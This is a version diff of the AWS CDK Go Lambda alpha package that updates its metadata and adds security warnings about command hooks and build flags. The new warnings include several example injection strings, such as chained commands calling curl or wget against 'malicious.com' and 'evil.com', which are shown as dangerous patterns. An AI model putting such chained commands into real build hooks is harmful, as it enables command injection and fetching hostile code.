@aws-cdk/aws-lambda-go-alpha 2.221.1-alpha.0 → 2.223.0-alpha.0

package/.jsii

@@ -8,7 +8,7 @@
     "url": "https://aws.amazon.com"
   },
   "dependencies": {
-    "aws-cdk-lib": "^2.221.1",
+    "aws-cdk-lib": "^2.223.0",
     "constructs": "^10.0.0"
   },
   "dependencyClosure": {
@@ -3217,6 +3217,19 @@
             }
           }
         },
+        "aws-cdk-lib.aws_rtbfabric": {
+          "targets": {
+            "dotnet": {
+              "package": "Amazon.CDK.AWS.RTBFabric"
+            },
+            "java": {
+              "package": "software.amazon.awscdk.services.rtbfabric"
+            },
+            "python": {
+              "module": "aws_cdk.aws_rtbfabric"
+            }
+          }
+        },
         "aws-cdk-lib.aws_rum": {
           "targets": {
             "dotnet": {
@@ -3334,6 +3347,19 @@
             }
           }
         },
+        "aws-cdk-lib.aws_s3vectors": {
+          "targets": {
+            "dotnet": {
+              "package": "Amazon.CDK.AWS.S3Vectors"
+            },
+            "java": {
+              "package": "software.amazon.awscdk.services.s3vectors"
+            },
+            "python": {
+              "module": "aws_cdk.aws_s3vectors"
+            }
+          }
+        },
         "aws-cdk-lib.aws_sagemaker": {
           "targets": {
             "dotnet": {
@@ -4103,7 +4129,7 @@
   },
   "name": "@aws-cdk/aws-lambda-go-alpha",
   "readme": {
-    "markdown": "# Amazon Lambda Golang Library\n<!--BEGIN STABILITY BANNER-->\n\n---\n\n![cdk-constructs: Experimental](https://img.shields.io/badge/cdk--constructs-experimental-important.svg?style=for-the-badge)\n\n> The APIs of higher level constructs in this module are experimental and under active development.\n> They are subject to non-backward compatible changes or removal in any future version. These are\n> not subject to the [Semantic Versioning](https://semver.org/) model and breaking changes will be\n> announced in the release notes. This means that while you may use them, you may need to update\n> your source code when upgrading to a newer version of this package.\n\n---\n\n<!--END STABILITY BANNER-->\n\nThis library provides constructs for Golang Lambda functions.\n\nTo use this module you will either need to have `Go` installed (`go1.11` or later) or `Docker` installed.\nSee [Local Bundling](#local-bundling)/[Docker Bundling](#docker-bundling) for more information.\n\nThis module also requires that your Golang application is\nusing a Go version >= 1.11 and is using [Go modules](https://golang.org/ref/mod).\n\n## Go Function\n\nDefine a `GoFunction`:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n  entry: 'lambda-app/cmd/api',\n});\n```\n\nBy default, if `entry` points to a directory, then the construct will assume there is a Go entry file (i.e. `main.go`).\nLet's look at an example Go project:\n\n```bash\nlambda-app\n├── cmd\n│   └── api\n│       └── main.go\n├── go.mod\n├── go.sum\n├── pkg\n│   ├── auth\n│   │   └── auth.go\n│   └── middleware\n│       └── middleware.go\n└── vendor\n    ├── github.com\n    │   └── aws\n    │       └── aws-lambda-go\n    └── modules.txt\n```\n\nWith the above layout I could either provide the `entry` as `lambda-app/cmd/api` or `lambda-app/cmd/api/main.go`, either will work.\nWhen the construct builds the golang binary this will be translated `go build ./cmd/api` & `go build ./cmd/api/main.go` respectively.\nThe construct will figure out where it needs to run the `go build` command from, in this example it would be from\nthe `lambda-app` directory. It does this by determining the [mod file path](#mod-file-path), which is explained in the\nnext section.\n\n### mod file path\n\nThe `GoFunction` tries to automatically determine your project root, that is\nthe root of your golang project. This is usually where the top level `go.mod` file or\n`vendor` folder of your project is located. When bundling in a Docker container, the\n`moduleDir` is used as the source (`/asset-input`) for the volume mounted in\nthe container.\n\nThe CDK will walk up parent folders starting from\nthe current working directory until it finds a folder containing a `go.mod` file.\n\nAlternatively, you can specify the `moduleDir` prop manually. In this case you\nneed to ensure that this path includes `entry` and any module/dependencies used\nby your function. Otherwise bundling will fail.\n\n## Runtime\n\nThe `GoFunction` can be used with either the `GO_1_X` runtime or the provided runtimes (`PROVIDED`/`PROVIDED_AL2`).\nBy default it will use the `PROVIDED_AL2` runtime. The `GO_1_X` runtime does not support things like\n[Lambda Extensions](https://docs.aws.amazon.com/lambda/latest/dg/using-extensions.html), whereas the provided runtimes do.\nThe [aws-lambda-go](https://github.com/aws/aws-lambda-go) library has built in support for the provided runtime as long as\nyou name the handler `bootstrap` (which we do by default).\n\n## Dependencies\n\nThe construct will attempt to figure out how to handle the dependencies for your function. It will\ndo this by determining whether or not you are vendoring your dependencies. It makes this determination\nby looking to see if there is a `vendor` folder at the [mod file path](#mod-file-path).\n\nWith this information the construct can determine what commands to run. You will\ngenerally fall into two scenarios:\n\n1. You are using vendoring (indicated by the presence of a `vendor` folder)\n   In this case `go build` will be run with `-mod=vendor` set\n2. You are not using vendoring (indicated by the absence of a `vendor` folder)\n   If you are not vendoring then `go build` will be run without `-mod=vendor`\n    since the default behavior is to download dependencies\n\nAll other properties of `lambda.Function` are supported, see also the [AWS Lambda construct library](https://github.com/aws/aws-cdk/tree/main/packages/aws-cdk-lib/aws-lambda).\n\n## Environment\n\nBy default the following environment variables are set for you:\n\n* `GOOS=linux`\n* `GOARCH`: based on the target architecture of the Lambda function\n* `GO111MODULE=on`\n\nUse the `environment` prop to define additional environment variables when go runs:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n  entry: 'app/cmd/api',\n  bundling: {\n    environment: {\n      HELLO: 'WORLD',\n    },\n  },\n});\n```\n\n## Local Bundling\n\nIf `Go` is installed locally and the version is >= `go1.11` then it will be used to bundle your code in your environment. Otherwise, bundling will happen in a [Lambda compatible Docker container](https://gallery.ecr.aws/sam/build-provided.al2023) with the Docker platform based on the target architecture of the Lambda function.\n\nFor macOS the recommended approach is to install `Go` as Docker volume performance is really poor.\n\n`Go` can be installed by following the [installation docs](https://golang.org/doc/install).\n\n\n## Docker\n\nTo force bundling in a docker container even if `Go` is available in your environment, set the `forceDockerBundling` prop to `true`. This is useful if you want to make sure that your function is built in a consistent Lambda compatible environment.\n\nUse the `buildArgs` prop to pass build arguments when building the bundling image:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n  entry: 'app/cmd/api',\n  bundling: {\n    buildArgs: {\n      HTTPS_PROXY: 'https://127.0.0.1:3001',\n    },\n  },\n});\n```\n\nUse the `bundling.dockerImage` prop to use a custom bundling image:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n  entry: 'app/cmd/api',\n  bundling: {\n    dockerImage: DockerImage.fromBuild('/path/to/Dockerfile'),\n  },\n});\n```\n\nUse the `bundling.goBuildFlags` prop to pass additional build flags to `go build`:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n  entry: 'app/cmd/api',\n  bundling: {\n    goBuildFlags: ['-ldflags \"-s -w\"'],\n  },\n});\n```\n\nBy default this construct doesn't use any Go module proxies. This is contrary to\na standard Go installation, which would use the Google proxy by default. To\nrecreate that behavior, do the following:\n\n```ts\nnew go.GoFunction(this, 'GoFunction', {\n  entry: 'app/cmd/api',\n  bundling: {\n    goProxies: [go.GoFunction.GOOGLE_GOPROXY, 'direct'],\n  },\n});\n```\n\nYou can set additional Docker options to configure the build environment:\n\n ```ts\nnew go.GoFunction(this, 'GoFunction', {\n  entry: 'app/cmd/api',\n  bundling: {\n      network: 'host',\n      securityOpt: 'no-new-privileges',\n      user: 'user:group',\n      volumesFrom: ['777f7dc92da7'],\n      volumes: [{ hostPath: '/host-path', containerPath: '/container-path' }],\n   },\n});\n```\n\n## Command hooks\n\nIt is  possible to run additional commands by specifying the `commandHooks` prop:\n\n```text\n// This example only available in TypeScript\n// Run additional commands on a GoFunction via `commandHooks` property\nnew go.GoFunction(this, 'handler', {\n  bundling: {\n    commandHooks: {\n      // run tests\n      beforeBundling(inputDir: string): string[] {\n        return ['go test ./cmd/api -v'];\n      },\n      // ...\n    },\n  },\n});\n```\n\nThe following hooks are available:\n\n* `beforeBundling`: runs before all bundling commands\n* `afterBundling`: runs after all bundling commands\n\nThey all receive the directory containing the `go.mod` file (`inputDir`) and the\ndirectory where the bundled asset will be output (`outputDir`). They must return\nan array of commands to run. Commands are chained with `&&`.\n\nThe commands will run in the environment in which bundling occurs: inside the\ncontainer for Docker bundling or on the host OS for local bundling.\n\n## Additional considerations\n\nDepending on how you structure your Golang application, you may want to change the `assetHashType` parameter.\nBy default this parameter is set to `AssetHashType.OUTPUT` which means that the CDK will calculate the asset hash\n(and determine whether or not your code has changed) based on the Golang executable that is created.\n\nIf you specify `AssetHashType.SOURCE`, the CDK will calculate the asset hash by looking at the folder\nthat contains your `go.mod` file. If you are deploying a single Lambda function, or you want to redeploy\nall of your functions if anything changes, then `AssetHashType.SOURCE` will probably work.\n\n\nFor example, if my app looked like this:\n\n```bash\nlambda-app\n├── cmd\n│   └── api\n│       └── main.go\n├── go.mod\n├── go.sum\n└── pkg\n    └── auth\n        └── auth.go\n```\n\nWith this structure I would provide the `entry` as `cmd/api` which means that the CDK\nwill determine that the protect root is `lambda-app` (it contains the `go.mod` file).\nSince I only have a single Lambda function, and any update to files within the `lambda-app` directory\nshould trigger a new deploy, I could specify `AssetHashType.SOURCE`.\n\nOn the other hand, if I had a project that deployed multiple Lambda functions, for example:\n\n```bash\nlambda-app\n├── cmd\n│   ├── api\n│   │   └── main.go\n│   └── anotherApi\n│       └── main.go\n├── go.mod\n├── go.sum\n└── pkg\n    ├── auth\n    │   └── auth.go\n    └── middleware\n        └── middleware.go\n```\n\nThen I would most likely want `AssetHashType.OUTPUT`. With `OUTPUT`\nthe CDK will only recognize changes if the Golang executable has changed,\nand Go only includes dependencies that are used in the executable. So in this case\nif `cmd/api` used the `auth` & `middleware` packages, but `cmd/anotherApi` did not, then\nan update to `auth` or `middleware` would only trigger an update to the `cmd/api` Lambda\nFunction.\n\n## Docker based bundling in complex Docker configurations\n\nBy default the input and output of Docker based bundling is handled via bind mounts.\nIn situtations where this does not work, like Docker-in-Docker setups or when using a remote Docker socket, you can configure an alternative, but slower, variant that also works in these situations.\n\n ```ts\nnew go.GoFunction(this, 'GoFunction', {\n  entry: 'app/cmd/api',\n  bundling: {\n       bundlingFileAccess: BundlingFileAccess.VOLUME_COPY,\n   },\n});\n```\n"
+    "markdown": "# Amazon Lambda Golang Library\n<!--BEGIN STABILITY BANNER-->\n\n---\n\n![cdk-constructs: Experimental](https://img.shields.io/badge/cdk--constructs-experimental-important.svg?style=for-the-badge)\n\n> The APIs of higher level constructs in this module are experimental and under active development.\n> They are subject to non-backward compatible changes or removal in any future version. These are\n> not subject to the [Semantic Versioning](https://semver.org/) model and breaking changes will be\n> announced in the release notes. This means that while you may use them, you may need to update\n> your source code when upgrading to a newer version of this package.\n\n---\n\n<!--END STABILITY BANNER-->\n\nThis library provides constructs for Golang Lambda functions.\n\nTo use this module you will either need to have `Go` installed (`go1.11` or later) or `Docker` installed.\nSee [Local Bundling](#local-bundling)/[Docker Bundling](#docker-bundling) for more information.\n\nThis module also requires that your Golang application is\nusing a Go version >= 1.11 and is using [Go modules](https://golang.org/ref/mod).\n\n## Go Function\n\nDefine a `GoFunction`:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n  entry: 'lambda-app/cmd/api',\n});\n```\n\nBy default, if `entry` points to a directory, then the construct will assume there is a Go entry file (i.e. `main.go`).\nLet's look at an example Go project:\n\n```bash\nlambda-app\n├── cmd\n│   └── api\n│       └── main.go\n├── go.mod\n├── go.sum\n├── pkg\n│   ├── auth\n│   │   └── auth.go\n│   └── middleware\n│       └── middleware.go\n└── vendor\n    ├── github.com\n    │   └── aws\n    │       └── aws-lambda-go\n    └── modules.txt\n```\n\nWith the above layout I could either provide the `entry` as `lambda-app/cmd/api` or `lambda-app/cmd/api/main.go`, either will work.\nWhen the construct builds the golang binary this will be translated `go build ./cmd/api` & `go build ./cmd/api/main.go` respectively.\nThe construct will figure out where it needs to run the `go build` command from, in this example it would be from\nthe `lambda-app` directory. It does this by determining the [mod file path](#mod-file-path), which is explained in the\nnext section.\n\n### mod file path\n\nThe `GoFunction` tries to automatically determine your project root, that is\nthe root of your golang project. This is usually where the top level `go.mod` file or\n`vendor` folder of your project is located. When bundling in a Docker container, the\n`moduleDir` is used as the source (`/asset-input`) for the volume mounted in\nthe container.\n\nThe CDK will walk up parent folders starting from\nthe current working directory until it finds a folder containing a `go.mod` file.\n\nAlternatively, you can specify the `moduleDir` prop manually. In this case you\nneed to ensure that this path includes `entry` and any module/dependencies used\nby your function. Otherwise bundling will fail.\n\n## Runtime\n\nThe `GoFunction` can be used with either the `GO_1_X` runtime or the provided runtimes (`PROVIDED`/`PROVIDED_AL2`).\nBy default it will use the `PROVIDED_AL2` runtime. The `GO_1_X` runtime does not support things like\n[Lambda Extensions](https://docs.aws.amazon.com/lambda/latest/dg/using-extensions.html), whereas the provided runtimes do.\nThe [aws-lambda-go](https://github.com/aws/aws-lambda-go) library has built in support for the provided runtime as long as\nyou name the handler `bootstrap` (which we do by default).\n\n## Dependencies\n\nThe construct will attempt to figure out how to handle the dependencies for your function. It will\ndo this by determining whether or not you are vendoring your dependencies. It makes this determination\nby looking to see if there is a `vendor` folder at the [mod file path](#mod-file-path).\n\nWith this information the construct can determine what commands to run. You will\ngenerally fall into two scenarios:\n\n1. You are using vendoring (indicated by the presence of a `vendor` folder)\n   In this case `go build` will be run with `-mod=vendor` set\n2. You are not using vendoring (indicated by the absence of a `vendor` folder)\n   If you are not vendoring then `go build` will be run without `-mod=vendor`\n    since the default behavior is to download dependencies\n\nAll other properties of `lambda.Function` are supported, see also the [AWS Lambda construct library](https://github.com/aws/aws-cdk/tree/main/packages/aws-cdk-lib/aws-lambda).\n\n## Environment\n\nBy default the following environment variables are set for you:\n\n* `GOOS=linux`\n* `GOARCH`: based on the target architecture of the Lambda function\n* `GO111MODULE=on`\n\nUse the `environment` prop to define additional environment variables when go runs:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n  entry: 'app/cmd/api',\n  bundling: {\n    environment: {\n      HELLO: 'WORLD',\n    },\n  },\n});\n```\n\n## Local Bundling\n\nIf `Go` is installed locally and the version is >= `go1.11` then it will be used to bundle your code in your environment. Otherwise, bundling will happen in a [Lambda compatible Docker container](https://gallery.ecr.aws/sam/build-provided.al2023) with the Docker platform based on the target architecture of the Lambda function.\n\nFor macOS the recommended approach is to install `Go` as Docker volume performance is really poor.\n\n`Go` can be installed by following the [installation docs](https://golang.org/doc/install).\n\n\n## Docker\n\nTo force bundling in a docker container even if `Go` is available in your environment, set the `forceDockerBundling` prop to `true`. This is useful if you want to make sure that your function is built in a consistent Lambda compatible environment.\n\nUse the `buildArgs` prop to pass build arguments when building the bundling image:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n  entry: 'app/cmd/api',\n  bundling: {\n    buildArgs: {\n      HTTPS_PROXY: 'https://127.0.0.1:3001',\n    },\n  },\n});\n```\n\nUse the `bundling.dockerImage` prop to use a custom bundling image:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n  entry: 'app/cmd/api',\n  bundling: {\n    dockerImage: DockerImage.fromBuild('/path/to/Dockerfile'),\n  },\n});\n```\n\nUse the `bundling.goBuildFlags` prop to pass additional build flags to `go build`:\n\n```ts\nnew go.GoFunction(this, 'handler', {\n  entry: 'app/cmd/api',\n  bundling: {\n    goBuildFlags: ['-ldflags \"-s -w\"'],\n  },\n});\n```\n\n**⚠️ Security Warning**: Build flags are passed directly to the Go build command and can execute arbitrary commands during bundling. Only use trusted values and avoid flags like `-toolexec` with untrusted arguments. Be especially cautious with third-party CDK constructs that may contain malicious build flags. The CDK will display a warning during synthesis when `goBuildFlags` is used.\n\nBy default this construct doesn't use any Go module proxies. This is contrary to\na standard Go installation, which would use the Google proxy by default. To\nrecreate that behavior, do the following:\n\n```ts\nnew go.GoFunction(this, 'GoFunction', {\n  entry: 'app/cmd/api',\n  bundling: {\n    goProxies: [go.GoFunction.GOOGLE_GOPROXY, 'direct'],\n  },\n});\n```\n\nYou can set additional Docker options to configure the build environment:\n\n ```ts\nnew go.GoFunction(this, 'GoFunction', {\n  entry: 'app/cmd/api',\n  bundling: {\n      network: 'host',\n      securityOpt: 'no-new-privileges',\n      user: 'user:group',\n      volumesFrom: ['777f7dc92da7'],\n      volumes: [{ hostPath: '/host-path', containerPath: '/container-path' }],\n   },\n});\n```\n\n## Command hooks\n\nIt is possible to run additional commands by specifying the `commandHooks` prop:\n\n```ts\n// Run additional commands on a GoFunction via `commandHooks` property\nnew go.GoFunction(this, 'handler', {\n  entry: 'cmd/api',\n  bundling: {\n    commandHooks: {\n      // run tests\n      beforeBundling(inputDir: string): string[] {\n        return ['go test ./cmd/api -v'];\n      },\n      afterBundling(inputDir: string, outputDir: string): string[] {\n        return ['echo \"Build complete\"'];\n      },\n    },\n  },\n});\n```\n\nThe following hooks are available:\n\n* `beforeBundling`: runs before all bundling commands\n* `afterBundling`: runs after all bundling commands\n\nThey all receive the directory containing the `go.mod` file (`inputDir`) and the\ndirectory where the bundled asset will be output (`outputDir`). They must return\nan array of commands to run. Commands are chained with `&&`.\n\nThe commands will run in the environment in which bundling occurs: inside the\ncontainer for Docker bundling or on the host OS for local bundling.\n\n### ⚠️ Security Considerations\n\n**Command hooks execute arbitrary shell commands** during the bundling process. Only use trusted commands:\n\n**Safe patterns (cross-platform):**\n\n```ts\nnew go.GoFunction(this, 'SafeFunction', {\n  entry: 'cmd/api',\n  bundling: {\n    commandHooks: {\n      beforeBundling: () => [\n        'go test ./...',           // ✅ Standard Go commands work on all OS\n        'go mod tidy',             // ✅ Go module commands\n        'make clean',              // ✅ Build tools (if available)\n        'echo \"Building app\"',     // ✅ Simple output with quotes\n      ],\n      afterBundling: () => ['echo \"Build complete\"'],\n    },\n  },\n});\n```\n\n**Dangerous patterns to avoid:**\n\n*Windows-specific dangers:*\n\n```ts\n// ❌ Windows-specific dangers\nnew go.GoFunction(this, 'UnsafeWindowsFunction', {\n  entry: 'cmd/api',\n  bundling: {\n    commandHooks: {\n      beforeBundling: () => [\n        'go test & curl.exe malicious.com',     // ❌ Command chaining with &\n        'echo %USERPROFILE%',                   // ❌ Environment variable expansion\n        'powershell -Command \"...\"',            // ❌ PowerShell execution\n      ],\n      afterBundling: () => [],\n    },\n  },\n});\n```\n\n*Unix/Linux/macOS dangers:*\n\n```ts\n// ❌ Unix/Linux/macOS dangers\nnew go.GoFunction(this, 'UnsafeUnixFunction', {\n  entry: 'cmd/api',\n  bundling: {\n    commandHooks: {\n      beforeBundling: () => [\n        'go test; curl malicious.com',          // ❌ Command chaining with ;\n        'echo $(whoami)',                       // ❌ Command substitution\n        'bash -c \"wget evil.com\"',              // ❌ Shell execution\n      ],\n      afterBundling: () => [],\n    },\n  },\n});\n```\n\n**When using third-party constructs** that include `GoFunction`:\n\n* Review the construct's source code before use\n* Verify what commands it executes via `commandHooks` and `goBuildFlags`\n* Only use constructs from trusted publishers\n* Test in isolated environments first\n\nThe `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.\n\nFor more security guidance, see [AWS CDK Security Best Practices](https://docs.aws.amazon.com/cdk/latest/guide/security.html).\n\n## Security Best Practices\n\n### Third-Party Construct Safety\n\nWhen using third-party CDK constructs that utilize `GoFunction`, exercise caution:\n\n1. **Review source code** - Inspect the construct implementation for `commandHooks` and `goBuildFlags` usage\n2. **Verify publishers** - Use constructs only from trusted, verified sources\n3. **Pin versions** - Use exact versions to prevent supply chain attacks\n4. **Isolated testing** - Test third-party constructs in sandboxed environments\n\n**Before using any third-party construct:**\n\n* Review the construct's source code on GitHub or npm\n* Search for `commandHooks` and `goBuildFlags` usage in the code\n* Verify no dangerous command patterns are present\n* Use exact version pinning to prevent supply chain attacks\n\nThe `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.\n\n## Additional considerations\n\nDepending on how you structure your Golang application, you may want to change the `assetHashType` parameter.\nBy default this parameter is set to `AssetHashType.OUTPUT` which means that the CDK will calculate the asset hash\n(and determine whether or not your code has changed) based on the Golang executable that is created.\n\nIf you specify `AssetHashType.SOURCE`, the CDK will calculate the asset hash by looking at the folder\nthat contains your `go.mod` file. If you are deploying a single Lambda function, or you want to redeploy\nall of your functions if anything changes, then `AssetHashType.SOURCE` will probably work.\n\n\nFor example, if my app looked like this:\n\n```bash\nlambda-app\n├── cmd\n│   └── api\n│       └── main.go\n├── go.mod\n├── go.sum\n└── pkg\n    └── auth\n        └── auth.go\n```\n\nWith this structure I would provide the `entry` as `cmd/api` which means that the CDK\nwill determine that the protect root is `lambda-app` (it contains the `go.mod` file).\nSince I only have a single Lambda function, and any update to files within the `lambda-app` directory\nshould trigger a new deploy, I could specify `AssetHashType.SOURCE`.\n\nOn the other hand, if I had a project that deployed multiple Lambda functions, for example:\n\n```bash\nlambda-app\n├── cmd\n│   ├── api\n│   │   └── main.go\n│   └── anotherApi\n│       └── main.go\n├── go.mod\n├── go.sum\n└── pkg\n    ├── auth\n    │   └── auth.go\n    └── middleware\n        └── middleware.go\n```\n\nThen I would most likely want `AssetHashType.OUTPUT`. With `OUTPUT`\nthe CDK will only recognize changes if the Golang executable has changed,\nand Go only includes dependencies that are used in the executable. So in this case\nif `cmd/api` used the `auth` & `middleware` packages, but `cmd/anotherApi` did not, then\nan update to `auth` or `middleware` would only trigger an update to the `cmd/api` Lambda\nFunction.\n\n## Docker based bundling in complex Docker configurations\n\nBy default the input and output of Docker based bundling is handled via bind mounts.\nIn situtations where this does not work, like Docker-in-Docker setups or when using a remote Docker socket, you can configure an alternative, but slower, variant that also works in these situations.\n\n ```ts\nnew go.GoFunction(this, 'GoFunction', {\n  entry: 'app/cmd/api',\n  bundling: {\n       bundlingFileAccess: BundlingFileAccess.VOLUME_COPY,\n   },\n});\n```\n"
   },
   "repository": {
     "directory": "packages/@aws-cdk/aws-lambda-go-alpha",
@@ -4176,7 +4202,7 @@
           "immutable": true,
           "locationInModule": {
             "filename": "lib/types.ts",
-            "line": 75
+            "line": 80
           },
           "name": "assetHash",
           "optional": true,
@@ -4195,7 +4221,7 @@
           "immutable": true,
           "locationInModule": {
             "filename": "lib/types.ts",
-            "line": 59
+            "line": 64
           },
           "name": "assetHashType",
           "optional": true,
@@ -4213,7 +4239,7 @@
           "immutable": true,
           "locationInModule": {
             "filename": "lib/types.ts",
-            "line": 37
+            "line": 42
           },
           "name": "buildArgs",
           "optional": true,
@@ -4236,7 +4262,7 @@
           "immutable": true,
           "locationInModule": {
             "filename": "lib/types.ts",
-            "line": 119
+            "line": 128
           },
           "name": "bundlingFileAccess",
           "optional": true,
@@ -4255,7 +4281,7 @@
           "immutable": true,
           "locationInModule": {
             "filename": "lib/types.ts",
-            "line": 91
+            "line": 100
           },
           "name": "cgoEnabled",
           "optional": true,
@@ -4267,13 +4293,14 @@
           "abstract": true,
           "docs": {
             "default": "- do not run additional commands",
+            "remarks": "⚠️ **Security Warning**: Commands are executed directly in the shell environment.\nOnly use trusted commands from verified sources. Avoid shell metacharacters\nthat could enable command injection attacks.",
             "stability": "experimental",
             "summary": "Command hooks."
           },
           "immutable": true,
           "locationInModule": {
             "filename": "lib/types.ts",
-            "line": 82
+            "line": 91
           },
           "name": "commandHooks",
           "optional": true,
@@ -4324,14 +4351,14 @@
           "abstract": true,
           "docs": {
             "default": "- none",
-            "remarks": "For example:\n['ldflags \"-s -w\"']",
+            "remarks": "For example:\n['ldflags \"-s -w\"']\n\n⚠️ **Security Warning**: These flags are passed directly to the Go build command.\nOnly use trusted values as they can execute arbitrary commands during bundling.\nAvoid flags like `-toolexec` with untrusted arguments, and be cautious with\nthird-party CDK constructs that may contain malicious build flags.",
             "stability": "experimental",
             "summary": "List of additional flags to use while building."
           },
           "immutable": true,
           "locationInModule": {
             "filename": "lib/types.ts",
-            "line": 30
+            "line": 35
           },
           "name": "goBuildFlags",
           "optional": true,
@@ -4355,7 +4382,7 @@
           "immutable": true,
           "locationInModule": {
             "filename": "lib/types.ts",
-            "line": 113
+            "line": 122
           },
           "name": "goProxies",
           "optional": true,
@@ -4377,7 +4404,7 @@
       "docs": {
         "stability": "experimental",
         "summary": "A Golang Lambda function.",
-        "example": "new go.GoFunction(this, 'handler', {\n  entry: 'app/cmd/api',\n  bundling: {\n    dockerImage: DockerImage.fromBuild('/path/to/Dockerfile'),\n  },\n});",
+        "example": "new go.GoFunction(this, 'handler', {\n  entry: 'app/cmd/api',\n  bundling: {\n    environment: {\n      HELLO: 'WORLD',\n    },\n  },\n});",
         "custom": {
           "exampleMetadata": "infused"
         }
@@ -4389,7 +4416,7 @@
         },
         "locationInModule": {
           "filename": "lib/function.ts",
-          "line": 84
+          "line": 85
         },
         "parameters": [
           {
@@ -4415,7 +4442,7 @@
       "kind": "class",
       "locationInModule": {
         "filename": "lib/function.ts",
-        "line": 75
+        "line": 76
       },
       "name": "GoFunction",
       "properties": [
@@ -4428,7 +4455,7 @@
           "immutable": true,
           "locationInModule": {
             "filename": "lib/function.ts",
-            "line": 82
+            "line": 83
           },
           "name": "GOOGLE_GOPROXY",
           "static": true,
@@ -4445,7 +4472,7 @@
           "immutable": true,
           "locationInModule": {
             "filename": "lib/function.ts",
-            "line": 78
+            "line": 79
           },
           "name": "PROPERTY_INJECTION_ID",
           "overrides": "aws-cdk-lib.aws_lambda.Function",
@@ -4463,7 +4490,7 @@
       "docs": {
         "stability": "experimental",
         "summary": "Properties for a GolangFunction.",
-        "example": "new go.GoFunction(this, 'handler', {\n  entry: 'app/cmd/api',\n  bundling: {\n    dockerImage: DockerImage.fromBuild('/path/to/Dockerfile'),\n  },\n});",
+        "example": "new go.GoFunction(this, 'handler', {\n  entry: 'app/cmd/api',\n  bundling: {\n    environment: {\n      HELLO: 'WORLD',\n    },\n  },\n});",
         "custom": {
           "exampleMetadata": "infused"
         }
@@ -4475,7 +4502,7 @@
       "kind": "interface",
       "locationInModule": {
         "filename": "lib/function.ts",
-        "line": 14
+        "line": 15
       },
       "name": "GoFunctionProps",
       "properties": [
@@ -4489,7 +4516,7 @@
           "immutable": true,
           "locationInModule": {
             "filename": "lib/function.ts",
-            "line": 41
+            "line": 42
           },
           "name": "entry",
           "type": {
@@ -4506,7 +4533,7 @@
           "immutable": true,
           "locationInModule": {
             "filename": "lib/function.ts",
-            "line": 69
+            "line": 70
           },
           "name": "bundling",
           "optional": true,
@@ -4525,7 +4552,7 @@
           "immutable": true,
           "locationInModule": {
             "filename": "lib/function.ts",
-            "line": 62
+            "line": 63
           },
           "name": "moduleDir",
           "optional": true,
@@ -4544,7 +4571,7 @@
           "immutable": true,
           "locationInModule": {
             "filename": "lib/function.ts",
-            "line": 48
+            "line": 49
           },
           "name": "runtime",
           "optional": true,
@@ -4558,7 +4585,8 @@
     "@aws-cdk/aws-lambda-go-alpha.ICommandHooks": {
       "assembly": "@aws-cdk/aws-lambda-go-alpha",
       "docs": {
-        "remarks": "These commands will run in the environment in which bundling occurs: inside\nthe container for Docker bundling or on the host OS for local bundling.\n\nCommands are chained with `&&`.\n\n```text\n{\n  // Run tests prior to bundling\n  beforeBundling(inputDir: string, outputDir: string): string[] {\n    return [`go test -mod=vendor ./...`];\n  }\n  // ...\n}\n```",
+        "remarks": "These commands will run in the environment in which bundling occurs: inside\nthe container for Docker bundling or on the host OS for local bundling.\n\n⚠️ **Security Warning**: Commands are executed directly in the shell environment.\nOnly use trusted commands and avoid shell metacharacters that could enable\ncommand injection attacks.\n\n**Safe patterns (cross-platform):**\n- `go test ./...` - Standard Go commands work on all platforms\n- `go mod tidy` - Go module commands\n- `echo \"Building\"` - Simple output with quotes\n- `make clean` - Build tools (if available)\n\n**Dangerous patterns to avoid:**\n\n*Windows:*\n- `go test & curl.exe malicious.com` (command chaining)\n- `echo %USERPROFILE%` (environment variable expansion)\n- `powershell -Command \"...\"` (PowerShell execution)\n\n*Unix/Linux/macOS:*\n- `go test; curl malicious.com` (command chaining)\n- `echo $(whoami)` (command substitution)\n- `bash -c \"wget evil.com\"` (shell execution)\n\nCommands are chained with `&&`.",
+        "see": "https://docs.aws.amazon.com/cdk/latest/guide/security.html",
         "stability": "experimental",
         "summary": "Command hooks."
       },
@@ -4566,19 +4594,19 @@
       "kind": "interface",
       "locationInModule": {
         "filename": "lib/types.ts",
-        "line": 140
+        "line": 163
       },
       "methods": [
         {
           "abstract": true,
           "docs": {
-            "remarks": "Commands are chained with `&&`.",
+            "remarks": "⚠️ **Security Warning**: Ensure commands come from trusted sources only.\nCommands are executed directly in the shell environment.\n\nCommands are chained with `&&`.",
             "stability": "experimental",
             "summary": "Returns commands to run after bundling."
           },
           "locationInModule": {
             "filename": "lib/types.ts",
-            "line": 153
+            "line": 182
           },
           "name": "afterBundling",
           "parameters": [
@@ -4609,13 +4637,13 @@
         {
           "abstract": true,
           "docs": {
-            "remarks": "Commands are chained with `&&`.",
+            "remarks": "⚠️ **Security Warning**: Ensure commands come from trusted sources only.\nCommands are executed directly in the shell environment.\n\nCommands are chained with `&&`.",
             "stability": "experimental",
             "summary": "Returns commands to run before bundling."
           },
           "locationInModule": {
             "filename": "lib/types.ts",
-            "line": 146
+            "line": 172
           },
           "name": "beforeBundling",
           "parameters": [
@@ -4648,6 +4676,6 @@
       "symbolId": "lib/types:ICommandHooks"
     }
   },
-  "version": "2.221.1-alpha.0",
+  "version": "2.223.0-alpha.0",
   "fingerprint": "**********"
 }

package/README.md

@@ -170,6 +170,8 @@ new go.GoFunction(this, 'handler', {
 });
 ```
 
+**⚠️ Security Warning**: Build flags are passed directly to the Go build command and can execute arbitrary commands during bundling. Only use trusted values and avoid flags like `-toolexec` with untrusted arguments. Be especially cautious with third-party CDK constructs that may contain malicious build flags. The CDK will display a warning during synthesis when `goBuildFlags` is used.
+
 By default this construct doesn't use any Go module proxies. This is contrary to
 a standard Go installation, which would use the Google proxy by default. To
 recreate that behavior, do the following:
@@ -200,19 +202,21 @@ new go.GoFunction(this, 'GoFunction', {
 
 ## Command hooks
 
-It is  possible to run additional commands by specifying the `commandHooks` prop:
+It is possible to run additional commands by specifying the `commandHooks` prop:
